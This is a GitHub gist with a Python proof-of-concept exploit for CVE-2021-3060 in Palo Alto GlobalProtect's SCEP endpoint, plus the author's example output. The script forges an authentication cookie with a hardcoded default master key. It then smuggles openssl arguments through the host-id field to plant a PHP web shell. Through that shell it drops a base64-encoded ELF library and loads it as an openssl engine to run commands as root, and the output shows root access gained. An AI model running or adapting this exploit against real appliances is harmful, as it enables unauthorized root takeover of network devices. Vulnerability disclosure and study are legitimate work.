Skip to content

Instantly share code, notes, and snippets.

@rqu1
Last active November 13, 2023 22:03
Show Gist options
  • Star 19 You must be signed in to star a gist
  • Fork 8 You must be signed in to fork a gist
  • Save rqu1/8ed4f51fd90dd82fc89111340e26a756 to your computer and use it in GitHub Desktop.
Save rqu1/8ed4f51fd90dd82fc89111340e26a756 to your computer and use it in GitHub Desktop.
cve-2021-3060 POC
from hashlib import md5, sha1
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from base64 import b64encode, b64decode
import sys, time
import requests
DEFAULT_MASTERKEY=b'p1a2l3o4a5l6t7o8'
lib="f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAAgAAAAYAAAAYAAAAAAAAAFgAAAAAAAAAcnF1ICgtOAACADH2Vki7L3RtcC9oYXhTVF/37rA7DwUBAAAABwAAAAUAAAAAAAAABQAAAAAAAAAMAAAAAAAAADoAAAAAAAAABgAAAAAAAAAAAAAAAAAAAA=="
cmd="""#!/bin/bash
id>/var/appweb/sslvpndocs/test
""".encode('base64').replace('\n','')
class PanCrypt():
def __init__(self, key=DEFAULT_MASTERKEY):
backend=default_backend()
key=self._derivekey(key)
self.c=Cipher(algorithms.AES(key), modes.CBC(b'\0'*16), backend=backend)
def _derivekey(self,key):
salt=b'\x75\xb8\x49\x83\x90\xbc\x2a\x65\x9c\x56\x93\xe7\xe5\xc5\xf0\x24' # md5("pannetwork")
return md5(key+salt).digest()*2
def _pad(self, d):
plen=16-(len(d)%16)
return d+(chr(plen)*plen).encode()
def _encrypt(self,data):
e=self.c.encryptor()
return e.update(self._pad(data)) + e.finalize()
def encrypt(self, data):
v=b'AQ==' # version 1
hash=b64encode(sha1(data).digest())
ct=b64encode(self._encrypt(data))
return '-'+v+hash+ct
def scepRequest(host, spn, hostid, email="a@a.a", user="test"):
expiry=bytes(int(time.time())+1000000)
token_pt=b":".join((expiry, user, hostid))
token=PanCrypt().encrypt(token_pt)
payload="scep-profile-name={}&user-email={}&user={}&host-id={}&appauthcookie={}".format(spn, email, user, hostid, token)
r=requests.get(host, data=payload, headers={"content-type":"application/x-www-form-urlencoded"},verify=False)
return r
def makewebshell(host, spn):
# webshell created: execute commands as `nobody` with GET /a.php?0=cmd
hostid='test" "-e" "yes" "-h" "<?php passthru\\(\\$_GET[0]\\);?>" "-c" "RSA:512 -text -out /var/appweb/sslvpndocs/a.php'
return scepRequest(host+"/sslmgr", spn, hostid)
def runcmd(host, cmd):
# run a command with the low-priv webshell
cmd=requests.utils.quote(cmd)
return requests.get(host+"/a.php?0="+cmd,verify=False)
def runlib(host, spn):
# load /tmp/lib.so as an openssl engine, with openssl running as root
hostid="test\" \"-e\" \"yes\" \"-m\" \"sha1 -engine /tmp/lib.so"
return scepRequest(host+"/sslmgr", spn, hostid)
if __name__=="__main__":
if len(sys.argv)<3:
print("usage: cve-2021-3060.py <host> <scep profile name>")
host=sys.argv[1]
spn=sys.argv[2]
if len(sys.argv)>2:
spn=sys.argv[2]
if "http" not in host: host="https://"+host
makewebshell(host, spn)
print(runcmd(host,"id").text)
runcmd(host,"echo {}|base64 -d>/tmp/lib.so".format(lib))
runcmd(host,"echo {}|base64 -d>/tmp/hax".format(cmd))
runcmd(host,"chmod 777 /tmp/hax")
runlib(host, spn)
print(requests.get(host+"/test",verify=False).text)
@rqu1
Copy link
Author

rqu1 commented Aug 3, 2022

example output:

$ python2 cve-2021-3060.py http://panw.local test-scep-profile
Certificate Request:
    Data:
        Version: 0 (0x0)
        Subject: serialNumber=test, CN=uid=99(nobody) gid=99(nobody) groups=99(nobody)
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                Public-Key: (512 bit)
                Modulus:
                    00:be:e2:cc:14:7e:94:ef:5d:59:1c:3b:17:92:c0:
                    34:ce:10:67:c7:c4:26:24:f1:52:b4:65:c7:a6:68:
                    c4:2b:ef:99:7c:f8:53:c3:ad:0b:f0:d0:8e:f2:62:
                    94:52:4c:1b:bb:c9:47:63:35:1b:f3:f6:fe:1b:f4:
                    d9:45:44:64:93
                Exponent: 65537 (0x10001)
        Attributes:
            challengePassword        :challenge
    Signature Algorithm: sha256WithRSAEncryption
         a9:c1:56:6d:86:4f:3e:d6:5a:99:33:37:f6:40:a6:7d:19:0c:
         63:3d:a2:bd:d1:45:e9:f2:50:b3:3c:65:fc:a7:9b:3e:81:64:
         d1:96:99:d6:f4:9b:a2:ed:3c:5d:da:ec:bb:69:55:e0:fc:59:
         53:30:3f:a7:ed:d6:71:da:a6:7e
-----BEGIN CERTIFICATE REQUEST-----
MIIBCTCBtAIBADA1MQ0wCwYDVQQFEwR0ZXN0MSQwIgYDVQQDFBs8P3BocCBwYXNz
dGhydSgkX0dFVFswXSk7Pz4wXDANBgkqhkiG9w0BAQEFAANLADBIAkEAvuLMFH6U
711ZHDsXksA0zhBnx8QmJPFStGXHpmjEK++ZfPhTw60L8NCO8mKUUkwbu8lHYzUb
8/b+G/TZRURkkwIDAQABoBowGAYJKoZIhvcNAQkHMQsTCWNoYWxsZW5nZTANBgkq
hkiG9w0BAQsFAANBAKnBVm2GTz7WWpkzN/ZApn0ZDGM9or3RRenyULM8Zfynmz6B
ZNGWmdb0m6LtPF3a7LtpVeD8WVMwP6ft1nHapn4=
-----END CERTIFICATE REQUEST-----

uid=0(root) gid=0(root) groups=0(root)

@rqu1
Copy link
Author

rqu1 commented Aug 3, 2022

for more information, see the palo alto networks security advisory and the sloppy writeup in da slop pit

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment